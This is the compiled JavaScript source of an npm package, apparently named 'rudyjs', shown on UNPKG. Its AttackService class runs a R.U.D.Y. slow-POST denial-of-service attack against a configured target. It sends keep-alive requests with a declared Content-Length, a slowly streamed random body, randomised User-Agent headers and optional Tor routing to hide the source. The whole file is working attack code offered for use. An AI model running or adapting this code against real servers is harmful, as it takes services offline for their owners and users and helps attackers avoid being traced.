UNPKG

rudyjs

Version:
38 lines (37 loc) 1.58 kB
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const logger_1 = require("../utils/logger"); const network_service_1 = require("./network.service"); const stream_service_1 = require("./stream.service"); const userAgent = require("random-useragent"); class AttackService { constructor(config) { this.serviceName = "Attack_Service"; this.config = config; this.streamService = new stream_service_1.default({ delay: this.config.delay }); } attack() { const self = this; network_service_1.default.request({ url: this.config.target, method: this.config.method, headers: this.getHeaders(), data: this.streamService.getRandomReadStream(), shouldUseTor: this.config.shouldUseTor }) .then((resPayload) => { logger_1.default.info({ message: "Request Succeeded. RUDY attack failed attackId : " + self.config.attackId, category: this.serviceName, data: resPayload }); self.streamService.endStream(); }) .catch((err) => { logger_1.default.error({ message: err.code + " :: Error Occured attackId : " + self.config.attackId, category: self.serviceName, data: err }); self.streamService.endStream(); }); } getHeaders() { const headers = { "Connection": "keep-alive", "Content-Length": this.config.packet_len.toString(), "User-Agent": userAgent.getRandom(), }; return headers; } } exports.default = AttackService;